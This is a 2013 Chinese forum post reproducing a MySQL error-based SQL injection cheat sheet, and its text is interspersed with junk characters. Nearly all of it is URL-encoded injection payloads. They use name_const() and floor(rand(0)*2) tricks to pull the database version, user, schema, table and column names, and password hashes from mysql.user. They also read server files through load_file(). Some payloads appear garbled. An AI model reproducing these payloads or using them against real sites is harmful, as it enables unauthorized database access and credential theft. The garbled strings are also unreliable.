本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 / q# [- z+ L/ Y- t4 k4 E
" F- u% j# {; o. Y; w0 F2 E T( k& N, o. u- e8 N; Y0 M3 ^! H
Mysql暴错注入参考(pdf),每天一贴。。。3 [( P& g( \9 ~! W2 J
# V, h1 J: ^1 |9 ^( ?, H0 n1 E$ w
MySql Error Based Injection Reference
1 @8 y9 K# G# J4 \[Mysql暴错注入参考]6 `, e8 m: |; B+ G/ D7 Z( K1 z6 a/ q/ K
Authornig0s1992" P- X( h' ?% D( n) R
Blog:http://pnig0s1992.blog.51cto.com/
$ u. b1 \. M% M/ rTeAm:http://www.FreeBuf.com/2 {) ^) M- R- c/ E. Z d
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 p4 i4 Y! I% r: ]) S0 V% k小部分版本使用name_const()时会报错.可以用给出的Method.2测试0 e% d4 b) y( X O% z
查询版本:
& h0 \: R- X/ w+ o- X* M( tMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+. c* Q+ b8 e2 V' H0 F9 O6 a
join+(select+name_const(@@version,0))b)c)& ~" w6 P8 R8 y1 C% P m
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro+ o0 e: I4 p8 q
up by a)b)/ P, o3 @8 o& Z7 M3 j; B5 O
查询当前用户:/ _8 u, W5 W- ]* x1 s k
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)( K$ O& Y6 M7 ^
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
* d( T1 _' j+ I1 v0 j1 sand(0)*2))x+from+information_schema.tables+group+by+x)a)- \$ r+ j% w! Q& r& D- B! U
查询当前数据库:: A- ^+ C" F) S, u9 V9 q4 w( V( m
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
4 F1 b# G9 O. T; nMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
# v/ [- P: y/ ?or(rand(0)*2))x+from+information_schema.tables+group+by+x)a): w* d c4 n3 q& x, f) v: r2 h
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
' X& V& E$ P- w- uLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n( H" [4 I4 d5 V; M) l9 k
顺序替换
+ G( b3 T: F/ T6 {& F v爆指定库数目:
" ~/ s, P: y, N% Oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
9 m2 z, c9 m. V' d7 X, J3 iable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group% }. d; e t) z+ m O& Y
+by+x)a)+and+1=1 0x6D7973716C=mysql
7 d: s! S6 Z% t U6 |依次爆表:
) g% {, L9 e l% K8 x: fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t& O9 k1 t1 N# j7 D' e
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
) E+ j2 t4 E$ k ]. a: z/ [% Mbles+group+by+x)a)+and+1=1/ H9 l0 @" E) Q% K0 B% z, I! B* P8 r
0x6D7973716C=Mysql 将n顺序替换$ q& t" t2 n" K& J5 g
爆表内字段数目:: E; S& [1 u1 g3 h4 B$ w/ g
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE# @5 ~2 g7 M' U4 q
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
, O; V; D8 f) j0 I1 [; p0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
6 ^! Y1 r* r ~9 V' z0 V依次爆字段:7 L% N6 d: K. d! c- ?! X
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where# |- v7 R6 ?) p8 v
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
5 |; @2 F; L% f) }- |2 C+ Vloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换
3 b3 L7 Y* u4 ?6 J5 Y+ Q6 q& c, B4 }依次暴内容:
" M* m' Q0 a0 K0 e! \( band+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche+ @3 \' L, _1 u- P
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1! l7 w( k0 Q0 f/ y% H" P$ {; r2 {
将n顺序替换
9 A. q+ a( c8 H) f' ?爆文件内容:
+ |9 c* l# O! E; Oand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
2 ^0 S$ l- {% f# G) x* y4 A5 @from+information_schema.tables+group+by+a)b) 8 v5 Z) o. a! b
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
5 T+ `$ o1 A6 P3 u/ XThx for reading.) f- R4 B3 R( O4 x. V
! O3 a, a! v5 D. B$ s1 v
不要下载也可以, / k. k# h+ ^! w# B. u! V# h) X" u" H5 m
|